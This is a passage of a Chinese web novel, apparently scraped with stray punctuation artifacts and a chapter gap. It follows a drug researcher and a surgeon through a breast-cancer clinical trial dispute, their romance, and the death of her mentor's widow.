大?家之前?还?不确定那聊天记录里?说的是不是谢一菲和秦铮,但当谢一菲的照片被发出来后,至少认识他们的人就?都清楚了,而且随着越来越多人的爆料,谢一菲就?像在全国人民面前?裸奔一样,几乎没有隐私可?言。一些?不明情况的人,可?能会因为那些?传闻对她和她的项目产生质疑。除此之外,谢一菲还?听说王玉儿子这几天没少在病房里?散播一些?负面言论。 所以谢一菲很理解这位患者为什么要?退出试验组。 可?是这位患者是典型的三阴性乳腺癌,因为HER2呈现阴性,对一般的靶向药物都不敏感,值得庆幸的是,谢一菲他们研究的新药对这位患者的病情控制是有效果的。化疗的毒副作用很大?,靶向治疗有效果的话一般人会优先选择靶向治疗。患者选择退出,谢一菲很替她感到可?惜。 “这个?事您和主治医生聊过吗?我了解到的情况是,这个?治疗方案对您母亲而言应该是目前?为止最好的……”她尝试着劝说对方,可?当她看到对方眼中流露出的审视和怀疑时,她没有继续下去,只是点?点?头说没问题。 接二连三有人退出试验组,这让其他人也人心惶惶,这些?显然不利于试验的推进。 不久后,明德的项目负责人特意找谢一菲聊了聊。 让谢一菲意外的是,针对外界关于谢一菲和秦铮关系的揣测,明德这位项目负责人只觉得好笑?。 “不说别的,就?说秦医生对我们项目组那横挑鼻子竖挑眼的态度,这么紧张的合作关系不闹崩不错了,难道还?能滋生出别的感情吗?所以啊用后脚跟想也知道那些?消息一定是有人刻意散播的。您放心,咱们天天打交道的谁也不会信那些?。” 听了对方这番话,谢一菲不知道自?己该不该表示欣慰。 可?是,即便合作方信任她,这也不能改变什么。说到最后,对方甚至说要?找人分担她的工作。谢一菲明白,这表面上是为了照顾她的情绪,实则就?是希望她少去医院,尽量弱化她的存在,从而她减少带给项目的负面影响。 她怎么也想不到,自?己为了这个?项目付出这么多,有一天竟然成了“负面影响”。 说不难过是假的,说不心寒也是假的。 而且那些?话听的多了,她甚至也开始怀疑自?己是不是做错了什么。 她打开患者的数据库,看着她们每一个?人的身体指标在用药后发生的变化。只有这样,她才能稍稍安心,告诉自?己,她一直都在朝着正确的方向走. 这一天,谢一菲在医院待到很晚,因为交接工作要?准备的东西不少,直到病房里?熄了灯她才忙完。 打算离开时发现秦铮办公室的灯还?亮着,门也是虚掩着的。 这段时间他们都忙,也是在刻意避嫌,所以两人私下里?几乎没有见过面,她自?然也还?没来得及跟他说暂时会把手头上的工作转交出去,以后没什么特殊情况也不用再来医院了。 她正要?敲门,忽然听到办公室里?传出一阵低低抽泣声。 没想到这个?时间了,他的办公室里?还?有别人。 她朝着半掩着的门里?看了一眼,只看到了秦铮的办公桌对面的患者。就?是她在低声抽泣。 这位患者谢一菲印象深刻,因为她只有40岁,却病得很严重,几年?前?确诊了乳腺癌,放化疗后切除了乳、房、子宫和卵巢。以为病情终于得到控制了,要?开启新的人生了,治疗的副作用又开始折磨她。据她所说,她的双腿、膝关节、腰背时不时就?开始痛,平时就?算不痛了,干什么也都没有力?气,而且还?会整夜整夜的失眠。最近她的病复发了,家里?人又千里?迢迢带着她来北京治病…… 断断续续的哭声和说话声从门缝里?传了出来。 “陈医生,我真找不到活下去的理由了,每天活着都很辛苦,我丈夫比我小两岁,看着却比我小十几岁,我这样都不敢出现在他面前?……他人长得精神,工作也好,跟我在一起就?是我拖累他……” 这时一只骨节分明的手递了张纸巾到她面前?,那是身影隐在谢一菲视线盲区里?的秦铮的手。 最近这段时间,秦铮的压力?绝对不比她小。 今天下午时,她偶然听到有人议论他们项目的事。据说王玉儿子已经去找过医务科和医教?部了,医院有意暂停甚至终止和明德的合作,是秦铮一直在扛着,专门打了个?报告上去,证明靶向药治疗的疗效非常好且副作用小。他甚至还?说,如果一定要?给那些?乌烟瘴气的流言蜚语一个?交代,他愿意离职避嫌。 谢一菲又想到他说的那番话:“这个?项目进展到今天这一步有多不容易你我都清楚。而且我一直在关注着这个?药的疗效,有多少人已经因此受益,未来又有多少人可?能因此受益我们也都清楚。所以不管是为了不让大?家的心血付之东流,还?是为了我的患者,我都不希望这个?项目因为一些?事受到影响。” 所以谢一菲知道,他这么做不是为了她,就?像她愿意暂时退出这个?项目,也不是为了他。他们都是为了保住众人的心血,让试验顺利推进,也是为了那些?原本信任他们的患者和家属,让他们的信任不被辜负。 可?是他和她又不一样,这里?有这么多人需要?他,非要?走一个?人的话,那还?是她离开吧。 …… 第60章 第 60 章 那时候的她很羡慕那些能…… 谢一菲本以为自己会有很长一段时间不用来医院, 可几天?之后,她就接到了?医院那边的电话,让她过去开个会。 谢一菲解释说自己的工作已经转交出去了?, 对方却说是周主任特意让通知她的。她犹豫了?一下问对方是什么?会,对方只说是和二期试验有关的会,具体的他也不太清楚。 见实在问不出什么?,谢一菲只能作罢。她想到几天?前?听到的传闻, 该不会院方真的要停止合作吧? 她立刻打给秦铮,但不知道?为什么?他的电话一直没人接。 会议是临时通知的,时间不多?了?, 她只好先赶去医院。 半小时后,谢一菲走进会 议室。 此时周意芝和秦铮、明德的项目负责人, 还有和试验有关的几个其?他院方部?门的领导也都在。 上一次这么?多?人聚在一起还是在试验的启动会上,当时她多?高兴啊, 以为后面就会顺利起来。而这一次她的心情除了?忐忑, 还有点难过。 会议室里的气氛很沉闷, 所有人的表情都很严肃,包括秦铮在内。不知道?他到底有没有看到她的电话,几天?不见, 再?见面时他没什么?特别的反应,只是在她进来的时候淡淡扫来一眼。 谢一菲找了?个位置坐下。片刻后,会议室门口传来夹杂着说话声的脚步声, 王玉一家来了?。 见到这么?多?人,王玉夫妻明显有点瑟缩, 但她儿子只是愣怔了?一下就大咧咧地坐了?下来。 “领导们商量好了?吗?我妈的事怎么?说?” 周意芝率先开口:“差不多?了?,所以叫你们来就是想聊聊这件事。” 王玉儿子说:“反正不能低于10万。” 周意芝笑?:“还没到那一步呢,先看看秦医生这边怎么?说吧。” 秦铮打开一份报告, 开始讲解。 这是试验启动至今,他的患者用药后的指标数据的跟踪。秦铮比谢一菲掌握的数据更全面,对这些数据的理解也更深入。这是一次阶段性的成果汇报,也从安全性和疗效多?个维度强调了?这个项目的价值和前?景。 看着不到一年的时间,这么?多?人因为这款药好了?起来,谢一菲的心情又?澎湃了?起来。 王玉儿子打断秦铮:“我们小老?百姓怎么?知道?这数据是真是假啊?再?说就算别人用了?这个药有效果,但也不妨碍我妈用了?这药就少半条命啊。” 秦铮:“那就说说您母亲。一般的不良反应在用药后1小时就会出现,但您母亲是在4个小时后才?出现。当然也不排除一些个例,只是其?他情况也不能不考虑进去,比如,食物过敏。” 王玉儿子一听明显有点不自在:“我早说了?,我妈皮实着呢,没什么?过敏的东西?。” “但是我们的检测结果并不是这样的。” 王玉儿子愣了?愣:“什么?时候检测的?经过我们家属同意了?吗?” 秦铮没有回答这个问题,只是扫了?眼角落里王玉的老?公,对方立刻低下了?头。 秦铮继续道?:“检测结果表明,能让您母亲过敏的食物中,有一种比较常见。” 有人好奇问:“是什么??” “牛油果。”秦铮说。 王玉儿子眼神闪烁,态度却依旧强硬:“不可能,这东西?我妈没吃过。我妈那天?只吃了?你们食堂的订餐,就算有问题,也是你们的问题。” 秦铮说:“那天?正好你们隔壁床出院,听说她带来的一些没动过的吃的东西?留给了?你们。她前?天?来复查,我就问了?一下,其?中就有一份牛油果沙拉。” 明明很简单的事情,就因为王玉不配合才?闹得这么?复杂。 旁边有人笑?着调侃秦铮,说这事把?一个握刀的医生变成福尔摩斯了?。 众人你一言我一语,气氛忽然就轻松了?不少,只有王玉一家无法?被这气氛感染。 周意芝看着那家人,放缓了?语气说:“之前?的事我也理解,这毕竟是款新药,家属对安全性方面会有疑虑也正常,所幸没真出什么?事。” 周主任这话就是给这件事定了?性,也给了?王玉一家一个台阶下。 其?实这件事僵持了?这么?久,王玉夫妇早就已经在打退堂鼓了?,这事他们不占理,想要赔偿没那么?容易,更何况是那么?多?的赔偿。今天?又?被这阵仗唬得够呛,正担心既拿不到赔偿又?丢掉一个免费治疗的机会,搞不好还要追究他们责任时。忽然听周意芝这么?说,他们两?口子立刻借坡下驴。 王玉尴尬笑?笑?:“谁知道我不能吃那个什么?果,这才?闹了?这么?大误会。” 周意芝:“您这回知道了,以后避开就行。” 王玉:“是是是,没错……那个,既然误会解开了?,我还能加回到试验组吗?” 周意芝看了?眼明德的项目负责人,对方笑?了?笑?说:“只要情况符合试验组要求的都可以加入。” 王玉松了?口气:“那太好了?!” 王玉老?公也很高兴,只有他们的儿子还在因为没拿到那10万愤愤不平着。 周意芝笑?:“是啊,听秦医生说您的情况正适合这款药,而且加入试验有补助,还能不花钱多?上一种治疗手段,经济方面的压力也能减轻不少。” 他们一家闹了?这么?一场,主任竟然还是这样的态度,王玉夫妇立刻感激道?谢。 这个会开了?近两?个小时,难得院方的领导也在,会议结束时,明德的负责人热情地拉着院领导和周意芝秦铮不知道?聊什么?。谢一菲看到他在人群中回过头来,像是在找她。 她连忙回以一个笑?容,他依旧没有什么?明显的表情,但她就是看得出,看到她笑?的时候,他的目光变柔和了?。 王玉的事情搞清楚了?,那院方就没有正当理由终止合作。今天?这个结果对于医院和项目组来说都是好事,王玉重新回到试验组也是对之前?不利传言的最好回击。 既然如此,这其?中个别人受点委屈似乎也就不算什么?了?. 晚上回到家,谢一菲把?自己扔进沙发里一动也不想动。 手机在这个时候响了?,是虞洁。 这段时间,她们每隔一两?天?就会通个话,虞洁报备自己的近况,谢一菲也好安心。 大约是听出她声音疲惫,虞洁问她这段时间是不是很累。 本来是个很简单的问题,但谢一菲要回答的时候却又?犹豫了?,因为就在她开口的那一瞬间,一股委屈涌上心头。 她不确定虞洁会不会听出来,等了?一会儿,等情绪平复才?回答:“是有点。” “你啊,也不能太累了?,时间长了?身体要出毛病的……” 听着虞洁唠唠叨叨的,她不仅不觉得烦,反而觉得很安心。 数落完她,虞洁又?问她某个软件怎么?用。 谢一菲搜了?一下那个软件,是个视频生成软件,可以把?一些照片和视频拼接起来,自带转场和配乐,再?生成一个完整的新视频。这个软件她也没用过,好在很好上手。她看了?使用说明一步步讲给虞洁。 “您用这软件干什么??” 虞洁:“我看何老?师弄的视频挺好看的,想学学。” 听师母的状态还不错,谢一菲也就放心了?。 挂上电话,谢一菲爬起来去洗澡。再?从浴室出来时,收到了?虞洁发过来的一个视频链接。点进去看,正是刚才?那个软件生成的。 视频很长,起初她还是笑?着的,可到视频结束的时候,她已经是泪流满面了?。 视频由几十张照片和十几段小视频组成,每一张照片和每一段视频的主角都是她。从她入学起,每一个人生的重要时刻,都有人为她记录。第一次进实验室,第一次拿奖学金,博士毕业,被评为优秀毕业生,成功留校,第一次站上讲台,以及第一次在几万人面前?打鼓…… 她过往十年的人生都在这一段视频里,被虞洁妥帖保管,好好珍藏着。 她早就知道?每个人的手机相册里都有一个主角,比如刘秀梅的手机里都是她弟的照片和视频,只偶尔能看到一两?张她的照片。除此之外?她还看到过大学舍友的相册,都是楼下猫咪的视频,还有她学生的相册,里面几乎全是女朋友的照片。 那时候的她很羡慕那些能占满别人手机内存的人,她以为自己永远都不会受到那样的偏爱,直到今天?,她才?意识到,她忽略了?什么?。 …… 今天?轮到秦铮值夜班。查完床回办公室写白天?的手术记录,最后一份写完时,已经是深夜了?。 秦铮起身走出办公室,此时走廊里很幽静,他忽然注意到一个病房里走出一个落寞佝偻的身影。他穿过长长的走廊,消失在了?楼梯间门口。 秦铮 跟了?过去,路过那间病房时,他随意扫了?一眼,看到王玉儿子正四仰八叉地躺在行军床上早已睡着了?,对面的小马扎上却没有人。 医院里有规定,每位病人只允许一位家属陪床,不能住在病房的家属只能出去住旅馆,但王玉家显然是没有这个条件的。 有一次秦铮偶然撞见王玉老?公在门诊大厅的长椅上过夜。四月的北京,即便是门诊大厅,夜里也只有几度。体谅他们的不容易,他和院里申请让他在病房里陪床,虽然父子俩只能轮流睡值班床,但至少病房里够暖和。 楼梯间的铁门很厚重,推开时发出吱吱呀呀的声音,王玉丈夫原本正坐在台阶上抽烟,看到秦铮来连忙站起身来,把?烟头扔在地上踩灭。 “我知道?这里不能抽烟,就是夜里太困了?,扛不住,下一次一定不敢了?。” 听说王玉老?公还不到五十岁,但他的脸上却布满了?岁月的痕迹,黝黑的皮肤衬得那双浑浊的眼也格外?湿润,那其?中又?透着底层百姓的简单和市侩。 秦铮说:“放心,这不归我管。” 对方似乎松了?口气,再?抬眼看向他时,目光中带着点不易察觉的愧疚。 “秦医生,之前?的事真对不住。” “已经过去了?,不用再?提了?。” 王玉丈夫叹气:“您真是好人,我们也是没办法?。” 这话说得模棱两?可,也间接让秦铮心里的那个猜测有了?答案。 “有件事我有点好奇。” “什么??” “王阿姨吃那沙拉时肯定是不知道?自己会过敏的。” 王玉丈夫叹道?:“是啊,谁愿意拿自己的身体冒险呢?!” 秦铮:“所以出现那些症状后应该急着弄清楚是什么?原因吧?但我安排的检查你们一项也没有去做。” 对方面上闪过一丝慌张的神色:“我当时也吓坏了?,她说她没力气,我也就没带她去。” “王阿姨那个程度的过敏反应,不治疗的话是不会那么?快好转的,所以我猜她吃过什么?药吧?” 秦铮记得他们父子的反应,他们最初的紧张是真的,那是对未知的恐惧,担心王玉真的出什么?事,但后来的愤怒却有点虚张声势的意味,而且还掺杂着一些心虚与慌张。 以秦铮对他们一家的了?解,他们应该不会想到王玉的反应是过敏导致,正常情况也该怀疑是药物的副作用,听医生的去做那些检查,而不是悄悄出去买过敏药吃。 秦铮问:“王阿姨出现症状后,医院里有人和你们说过什么?吗?” 王玉丈夫眼神闪烁:“没什么?人。” 秦铮也没再?逼问,而是问他:“您知道?为什么?会有这么?多?人愿意加入试验组吗?” “因为不用花钱还可以治病。” “这只是其?中一个方面。从现有数据看,这个项目没有出过一例安全问题,而且疗效比市面上的一些同类药物更好,甚至许多?对靶向药不敏感的患者,用了?这个药后也有一定的效果。这就是谢老?师他们存在的意义——让乳腺癌患者能拥有更多?的治疗手段,更多?的存活机会,更长久的生存期。” 男人怔怔听着他的话。 秦铮继续道?:“但是之前?医院有意终止试验,这个药是谢老?师的导师一辈子的心血,我相信她不会轻易放弃,但他们的研究又?要经过好长一段时间的停滞不前?,在这段时间里,不知道?有多?少原本可以靠这个药好起来的患者失去了?机会。” 男人很紧张:“这误会不是解开了?吗?医院应该不会终止试验了?吧?” 秦铮:“这只是第一次,只要有人不希望这个项目顺利推进,就还会有第二次第三次” 男人动了?动嘴唇,片刻后无奈道?:“其?实我也不想给你们添麻烦……实在是没办法?……她生病好多?年了?,家里的积蓄都花光了?,可是我不能不管她……” 他背过脸去,没有说下去。 看着他微微耸动的肩膀,秦铮知道?这个沉默、老?实,几乎没什么?存在感的男人在哭。 70-80 第71章 第 71 章 他亲吻她,从疯狂掠夺到…… 他?们已经太久没约会了?, 虽然总能在医院里见到,却让谢一菲觉得很遥远。她能感受到,他?们之间的关系就像虞洁的身体一样每况愈下。可是她也?知道, 她对他?的渴望还在。她依然想见他?,想与他?独处,想和他?亲近。 从虞洁家小区出?来,车子一路朝着西郊驶去。 今天这样的日子, 路上几乎没什么车,下了?环路,车子在小路间穿行, 最后拐进?一条山路。 山上光线不?好,他?专注看着前方, 她偷偷打量他?。 这段时间他?似乎瘦了?,下巴的棱角比以往更锋利了?。 忽然, 他?似有所感地看过来, 抓她一个正着:“看什么呢?” “没什么。”她错开?视线。 他?笑了?:“车里就咱们俩, 想看就大大方方的看。” 谢一菲不?接他?这话,生硬地转移话题:“我们这是去哪?看着前面连个路灯都没有,不?会不?安全吧?” “现在才担心这个, 晚了?吧?” 片刻后,车子停在接近山顶的一处平整空地上。 谢一菲打量着车窗外,什么都没有。 “我们来这干什么?” 秦铮没有回答她, 只是催她下车。 推开?车门?,冷酷的山风像无数钢针, 穿透她不?算太厚实的衣服,将她吹透了?。 她不?禁打了?个寒颤,心里有点埋怨他?, 但当她站在车外时,那埋怨变成了?惊叹,刚才她问的那个问题也?有了?答案。 她从未在这个角度看过这座她生活了?十年的城市。此时的它像一只巨兽俯在山脚下,明亮的灯火连成一条条金色的线,像兽的血管,蕴含着力量,透着勃勃生机。夜空中繁星点点,那亦是力量的象征,和地上巨兽的血脉在天际相交,将漆黑的夜幕撕裂。 “好美啊!”她忍不?住感慨。 “是啊,我以前常来。”说着他?脱下大衣披在了?她的身上。 她想说不?用了?,因为把大衣给了?她,他?身上就只剩下一件羊绒衫了?。 但他?却不?容拒绝地替她把大衣前襟紧了?紧。 他?说:“就一会儿?,我没事。” 她也?就不?再说什么,贪婪感受着他?留在衣服上的体温。 她问他?:“你是怎么找到这的?” “有一次走错了?路就找到这里了?。那天也?是晚上,白天忙了?一天诸事不?顺,到这里的时候车也?快没油了?,本来很烦躁,但看到了?这一幕,忽然就想通了?一件事。” “是什么?” “有的时候,我觉得走错的路未必是错的,那个岔路口的存在可能就是带我去看另一番风景。有时候遇到的困境也?并?非只是困境,可能是一个契机或是转机。” 谢一菲琢磨着他?的这番话,琢磨着那个迷惑了?他?的岔路口和那个困住他?的困境究竟是什么。 正在这时,她的手机忽然响了?,打断了?她的思绪。 她从口袋里翻出?手机,就看到顾逸的名字跳动在屏幕上。 这个时候打电话过来多半是拜年,但因为身边有秦铮,她不?免有点心虚。 秦铮应该也?看到了?,明知故问:“怎么不?接?” 不?接更显得她心虚,她只好接通。 顾逸的声音从听筒中传出?来,在空寂的山中非常清晰。 “新年快乐!没打扰你休息吧?”顾逸问。 “没有。新年快乐。” “还担心你睡了?呢。在守岁吗?” “嗯。”她不?自在地瞥了?眼身旁的秦铮,他?漫不?经心地笑了?笑,然后走开?了?。 谢一菲松了?口气,又听到顾逸问她:“师母怎么样?” “挺好的,不?过吃了?饭就睡了?。” “北京过年无聊吧?烟花都没得看。南京就不?一样了?,今年特别?热闹,你真应该回来的。” “下次吧,有的是机会。” 虽然这会儿?秦铮没在身边盯着她,但谢一菲还是想尽快结束通话,谁知顾逸聊性还挺浓。 “那就明年吧,明年一起?去夫子庙逛灯会,现在的灯会和以前大不?一样……” 又聊了?几句,谢一菲终于找了?个合适的机会挂断了?电话。 再看四周,早没了?秦铮的身影。他?不?在附近也?不?在车里,而?远处黑漆漆的,可能是路,也?可能是悬崖。 谢一菲瞬间紧 张起?来,大声叫他?的名字。 忽然间,远处一声巨响,盖过了?她的声音。 她抬起?头,只见一朵巨大的金色牡丹在夜幕中绽放,然后又变成无数流星投向?大地。 紧接着,第二朵、第三朵依次升空、绽放,将半边天际点亮。 她不?是没看过烟花,但没有哪一次像这一次离得这么近,看得这么真切。 这时候有人从身后环住了?她,冷风带来似有若无的雪松香,那是独属于秦铮的。 她笑了?,让自己安心靠在他坚实的胸膛上,仰头欣赏着烟花。 几分钟过后,周遭安静了下来。 她转过头问他:“你刚才去哪了?” “给你们腾地方,免得你不?自在。” 她笑:“你吃醋了??” 秦铮表情?不?太好地瞥她一眼。她正想再调侃他?几句,他?忽然就俯下身来毫无预兆地吻住了?她。 谢一菲在短暂的错愕后开?始回应他?。 她敞开?他?的大衣将两人裹住,他?在她支起?的小小空间里吻过她的唇、她的耳垂、她颈部的皮肤。 “他?知道你留在北京过年。” “他?回家前问我要不?要一起?走。” “他?为什么叫虞老师师母?” “大概是总听我这么叫,也?就这么叫了?。嘶……”脖子被人咬了?一口,她连忙说,“师母都没见过他?。” “你们还约了?明年逛灯会。” “你不?是都走开?了?吗?怎么还听到了?……嘶……” 怎么又咬人? 以防他?再咬她,她捧起?他?的脸说:“你就是吃醋了?。” 有人还在嘴硬:“你哪只眼睛看见我吃醋了??” “怎么才能不?生气?” 他?没有回答她的问题,而?是说:“山里风大,回车上吧。” 他?穿的少,她以为是他?觉得冷了?,可上了?车才知道不?是那么回事…… 车里一直开?着暖气,和外面比起?来像两个世界。车内空间狭小,让彼此的距离更近。 他?亲吻她,从疯狂掠夺到温柔缱绻。 他?们呼吸交缠着,粗重又急迫。他?的手却沉稳,轻轻松松像剥葱一样,把她的衣服一层层剥干净。皮肤在微凉的空气中战栗着,他?的手温暖干燥,抚平她最后一丝的不?安。 忽然间,烟花又起?,“砰砰”的声响将车内旖、旎的声音彻底吞没。 这一次是许多朵一起?升空,几乎照亮了?整个天际,谢一菲趴在车窗上,看着那烟花一一绽放,又看着它们在转瞬间凋零。 …… 春假过后,虞洁生了?一场小感冒,谢一菲只好又把她送进?了?医院。只是这一次,她从乳腺外科转到了?肿瘤科,好在两个科室的病区离得不?远,谢一菲探望她也?还算方便。而?且秦铮跟那边打过招呼,特意给她开?了?个后门?,她可以在任何时候过去探病。 开?学后,学校的工作也?多了?起?来,而?且二期试验已经接近尾声,她忙着写报告写总结,做下一个阶段的试验策划,短短一个月的时间,体重就减了?四斤。所以她白天总是没有时间,只能晚上去探望虞洁。 这天谢一菲忙完的时候,病区又已经快要熄灯了?。这个时间,病房里的病人和陪床的家属大多已经准备休息了?,谢一菲怕打扰别?人,想着只是看一眼虞洁,说上几句话就走。 可是今天似乎和以往不?太一样,病区里竟然是灯火通明的,护士站里也?难得没人值守,但是谢一菲知道护士长就在周围,因为她刚踏进?病区,就听到护士长的声音从里面的某间病房里传了?出?来,只是隐隐约约听不?清在说什么,而?那些早该休息了?的患者和家属们竟然也?都没有睡,不?少人正站在病房门?口朝那声音的来处张望着。 医院里没有什么新鲜事,但每一件都生死攸关。 巨大的恐惧涌上心头,谢一菲犹豫了?一下循着声音走过去。一路上竟然没有人拦她,直到她走到了?虞洁的房门?前。她看到一位年轻的值班医生和几个护士在对床上的人进?行抢救,护士长站在走廊里,一边指挥着旁边人去安抚其他?病人休息,一边打电话求援。 所有人都忙忙碌碌,只有谢一菲像一根柱子一样立在原地好像失去了?活动的能力。 “谢老师!” 终于有人注意到了?她,她迟缓地收回视线,看到了?双眼通红的刘姐。 “我刚才还打电话给您呢!虞老师她吃完晚饭就不?太舒服,刚才忽然呼吸困难……” 她话没有说完,又有几位医护人员跑了?过来。 对虞洁的抢救工作没有停止,但活动的床已经被推往抢救室。有医生问患者家属在哪?谢一菲想说她在呢,但张了?张嘴却没有发?出?声音。后面医生又说了?什么,她没有听见。场面太混乱了?,害怕虞洁离开?她的视线,她跟着病床跑了?起?来,她努力从人群的缝隙中看一眼师母,只看到她脸色惨白,双眼紧闭,像个破布娃娃一样被人摆布。 医护人员在极力抢救,时间一分一秒地流逝着,但病床上的人不?见起?色,她知道这意味着什么,可也?在期待能有奇迹的发?生。 第72章 第 72 章 “那谢老师,你怪老板吗…… 其实, 在虞洁病重的这段时间,谢一菲早就做好了足够的心理准备去迎接最?差的局面?,可是到了这一刻, 她还是没有勇气去面?对。 她在心里默默祷告,祈求哪位心软的神能再帮她一次,帮她留住师母。 “也不知道里面?怎么样了,这时候秦医生?要是在就好了。”说话的是刘姐。 或许是因为?秦铮是虞洁的主治医生?, 谢一菲在虞洁的事情上很依赖他,不知道从什么时候起,有他在, 她就能稍稍安心。 是啊,要是秦铮在就好了, 他一定会告诉她该怎么办。 她像是即将溺水的人忽然看到了一块浮木…… 她连忙拨电话给他,可是一遍、两?遍……电话始终无人接听。 职业使然, 他几乎手机不离身, 除非有什么特殊情况。 可是会是什么样的特殊情况呢?在抢救病人?在手术台上? 她脑子?里乱七八糟的, 安慰自己他忙完自然会回电话,但她一直没有等到这通电话,直到抢救室的大门重新打开。 今晚负责抢救的医生?谢一菲也认得?, 他出现?时满头大汗,看得?出已经累到脱力,可他脸上没有如释重负的表情。 谢一菲已经猜到了那?意味着什么。 果?然, 年?轻的医生?叹了口气说:“节哀吧。” 这一刻她被?巨大的失望笼罩着,对所有人的。 期待的奇迹终究没有出现?, 想留住的人终究也没能留住。 谢一菲听到刘姐的抽泣声在空荡荡的走?廊里回荡着。 她想到导师去世的那?一天,那?是一个艳阳高照的午后,走?廊里挤满了同门的兄弟姐妹们, 即便只有女生?们的呜咽声,几层楼外也听得?见。 而今天,送师母离开的只有她和刘姐。 …… 谢一菲接到秦铮的回电时已经是第二天早晨了。 电话里他的声音很疲惫,像是一夜没睡好。 谢一菲问:“昨晚有手术?” “不是。”他顿了顿,“家里的事,没留意手机……出什么事了?” 什么样的家事能让手机不离身的他听不到来电? 但他明显不愿意多说,她也不会不识趣的多问。 她发现?,自从他们十年?前?认识以来,她对他从来都是白纸一张,而他对她总是有所保留。十年?后的他更是如此,他巧妙拿捏着分寸,控制着距离。成?年?人之间都有秘密,以前?她不觉得?怎么样,对他也不敢有更多的奢望,可这一刻,她恨透了他的分寸和距离感,凭什么他们做着最?亲密的事却不是最?亲近的人?! 她听到自己平静地说:“师母走?了。” 电话那?头静默了片刻,秦铮问:“你在哪?” 谢一菲抬起头,恰看到五斗柜上的那?张师兄弟们和导师师母的合影,原本已经平复的心情又 激荡了起来。 “在我师母家,收拾套衣服给她。” “好,我马上到。” 秦铮挂上电话就想离开,又被?病床上的男人叫住:“你给谁打电话呢?” 秦铮回过头,看着病床上的秦广谦。短短几年?没见而已,记忆中那?个高大、精明、强势、威严的男人好像忽然就老了——身形佝偻了,眼角的纹路深刻了,以往很注重形象的人对两?鬓的白发也视而不见了。而且经过一夜的折腾,好像又沧桑了不少。 就在昨晚的某一刻,看着奄奄一息的他,秦铮的心情前?所未有的复杂。如果?这是陌生?人,他只需尽力,如果?这是仇人,他该感到畅快,如果?这是他爱的人,他该难过。可惜,哪一种都不是。 他原本以为?爱一个人就很难了,可他渐渐发现?,恨一个人其实更难,尤其是他恨的这个人是他原本该爱的人。 “问你话呢。”男人有气无力地说。 “没谁。”秦铮懒得?多说。 “昨晚的事我不跟你计较,但你以后不能那?么对你妈。” 他还有脸跟他提要求? 秦铮缓缓收紧拳头,抬眼看到他病恹恹的样子?,才又松开。 他深呼吸,只想尽快离开,以免压不住火气。 但这在秦广谦看来就是妥协,他继续道:“昨晚那?姑娘到底是你什么人?还有刚才打电话那?个又是谁?你这几年?那?些事我也听说了,以前?不管你是你还年?轻,现?在也差不多该收收心了。” 秦铮忽然笑了:“你有什么资格教育我?” 秦广谦成?功被?噎了一下,转移话题说:“你给我转院吧,转到你们院,也省得?你来回跑。” “我为什么要来回跑?” 这话又把?秦广谦问住了。 秦铮继续道:“昨晚那情况不管是什么人我都会施救,你别想太多,好好养你的病吧。” …… 虞洁离开的突然,什么都没有准备,但谢一菲知道,她应该不会喜欢寿衣店里的那些衣服。秦铮赶到的时候,她刚找出一件旗袍,墨绿色,很端庄却也时髦的款式,很像虞洁这个人。 在谢一菲的记忆里,虞洁很珍爱这件旗袍,只有重要场合才拿出来穿一下,谢一菲记得?她上一次穿是她博士毕业时。 “就这件吧。”她对秦铮说,“只是她现?在瘦了很多,肯定不那?么合适了……” 想到虞洁离开时的样子?,她的喉咙忽然像被?什么东西堵住了,发不出声来。 十年?了,那?个待她像女儿一样的人离开了。 一只干燥温热的手揽着她靠向他,那?股强撑着她的力气,在她呜咽出声的那?一刻泄了出来,她忽然失去了所有的力量,任由他把?她揽入怀中。 压抑的哭声被?他的胸膛堵住,而她的情绪却在这一刻得?到了宣泄。 他的手轻轻拍打她的背,一下又一下,那?些不断下落的无助和绝望,好像在他的怀抱中找到了支撑。 不知过了多久,她哭累了,情绪平复了,他们依旧拥抱着,没有言语也没有欲望地拥抱着. 谢一菲把?虞洁去世的消息告知了学校,还有虞洁以前?往来的朋友同事。 她的后事也如她所愿,办得?很简单。 送别虞洁的那?一天,谢一菲再没有哭。 师母的一生?彻底结束了,她终于不用再忍受病痛和孤独的折磨,背负着旁人的期望艰难地活着。 可是留下来的人,生?活还要继续。 …… 临床试验结题在即,很多工作要提前?启动,项目组开了个简短的小会分配后面?的工作。从会议室出来时,谢一菲遇到了一脸欲言又止的何婷婷。寒假刚过,医学生?们刚刚开学。她们有段时间没见了。 “怎么了?”谢一菲问。 何婷婷:“听说虞老师走?了,你肯定很难过吧?” 谢一菲:“还好,至少现?在好多了。” 她已经从最?初悲痛的情绪中走?了出来,可是心头依旧像压着一块巨石,压得?她喘不过气来,但是她又说不上,那?块巨石究竟是什么。 何婷婷叹了口气说:“其实老板也很难受。” 虞洁去世后,她和秦铮除了工作场合,几乎没在其他地方见过面?,两?人私下联系也很少,他的事都要从别人那?里才能听到。 原本很亲密的两?个人,好像一夜之间就变得?生?分了。她说不清楚他们之间为?什么会变成?这样,也说不清楚他们会不会继续这样下去,还是会在未来的某一天又突然转好,但是至少现?在的她无力也没有想法去改变什么。 “很正常,毕竟虞老师也是他的病人。” “一般人遇到这种事确实是会难过一阵子?,但老板是最?专业的医生?,见过的大风大浪太多了,他应该比别人更快地走?出去,眼下虞老师都去世小半个月了,可我看得?出他还是挺消沉的。” 谢一菲不知道秦铮以前?在面?对病人离开时是什么样,但她印象中的秦铮冷静、理智、内敛,很少情绪外露,以前?的她甚至因此觉得?他过于冷酷不近人情。而这一次她都看得?出他情绪格外低落。 “可能因为?我师母和他接触比较多吧。” “有可能……但我猜还有个原因。” “什么?” 何婷婷偷偷瞥了她一眼:“你呀。” 谢一菲脚步顿了顿:“可能因为?我们是熟人,他面?对我时心里负担更重吧。” 何婷婷点点头:“那?谢老师,你怪老板吗?” “怪他?”谢一菲想了想,发自内心地说,“我不怪他,相?反我很感激他。他是个非常尽职尽责的医生?,而且专业能力也很强,他做了作为?主治医生?该做和能做的一切,没有他,师母的情况可能更糟糕,所以我怎么会怪他呢?” 何婷婷点点头,又小心翼翼地问:“那?如果?不是作为?医生?,是作为?其他角色呢?你怪他吗?” 谢一菲的心跳开始加速,不确定地问:“其他角色?” “我听说虞老师去世的那?天晚上,你找了他很久……” 谢一菲勉强笑笑:“是啊,他是主治医生?,师母的事,我还是习惯找他。不过后来想想,那?天就算他在也改变不了什么,其他医生?也已经尽力了。” “我知道。我的意思是,当?时他没陪在你身边,你肯定很无助吧?但他绝对不是有意的,别人说的那?些传闻肯定也不是真的!” 谢一菲停下脚步看着着急帮秦铮解释的小姑娘。刚才她还只是猜测她是不是看出了什么,现?在那?种猜测已经被?证实了。 第73章 第 73 章 